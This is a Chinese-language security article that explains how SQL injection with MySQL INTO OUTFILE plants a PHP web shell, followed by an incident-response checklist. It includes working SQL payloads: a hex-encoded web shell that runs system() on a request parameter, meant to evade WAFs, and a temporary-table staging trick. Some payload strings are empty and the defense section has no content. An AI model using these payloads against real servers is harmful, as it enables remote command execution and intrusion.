MySQL 注入導出 WebShell 技術原理分析與防禦對策

SQL 注入結合 INTO OUTFILE 寫入 WebShell 是經典攻擊鏈。本文從防禦視角剖析攻擊原理、利用條件、檢測特徵與多層次防禦體系，嚴禁用於非授權測試。

一、攻擊鏈原理

-- 經典 UNION 注入寫入單行 WebShell
SELECT '' INTO OUTFILE '/var/www/html/shell.php';

-- 或結合 UNION SELECT 繞過欄位數限制
SELECT 1,2,'',4,5 INTO OUTFILE '/var/www/html/shell.php';

核心條件：

1. MySQL 用戶擁有 FILE 權限（GRANT FILE ON *.* TO ...）。
2. 目標路徑對 MySQL 進程可寫（secure_file_priv 未限制或路徑在允許目錄下）。
3. Web 目錄可執行 PHP（未禁用腳本執行、副檔名解析正確）。
4. 注入點可控制 SELECT 語句（Union/子查詢/錯誤回顯等）。

二、十六進制編碼繞過過濾

-- 將 PHP 代碼十六進制化，避免引號、特殊字符被 WAF 攔截
SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E INTO OUTFILE '/var/www/html/shell.php';
-- 0x3C3F706870... 解碼為 

攻擊者常用工具自動生成編碼，WAF 需解碼後再檢測。

三、臨時表中轉技巧

DROP TABLE IF EXISTS tmp;
CREATE TABLE tmp (cmd TEXT);
INSERT INTO tmp VALUES ('');
SELECT cmd FROM tmp INTO OUTFILE '/var/www/html/shell.php';
DROP TABLE IF EXISTS tmp;

用於單語句注入點無法直接寫入長字符串時，分步驟繞過長度限制。

四、防禦體系（纵深防御）

五、應急排查清單

1. 檢查 Web 目錄近期新增/修改的腳本檔案（find /var/www -name '*.php' -mtime -1）。
2. 審計 MySQL 通用日誌/審計日誌中的 INTO OUTFILE、FILE 權限使用記錄。
3. 檢查資料庫帳號權限：SHOW GRANTS FOR 'app_user'@'%'; 確認無 FILE 權限。
4. 驗證 secure_file_priv 生效：SHOW VARIABLES LIKE 'secure_file_priv';
5. 清理 WebShell，修復注入點，輪換資料庫密鑰，升級 WAF 規則。

SQL 注入寫 WebShell 看似經典，實則是「權限過大 + 目錄可寫 + 參數化缺失」多重失誤疊加。唯有纵深防御，才能將單點失誤限制在可控範圍內。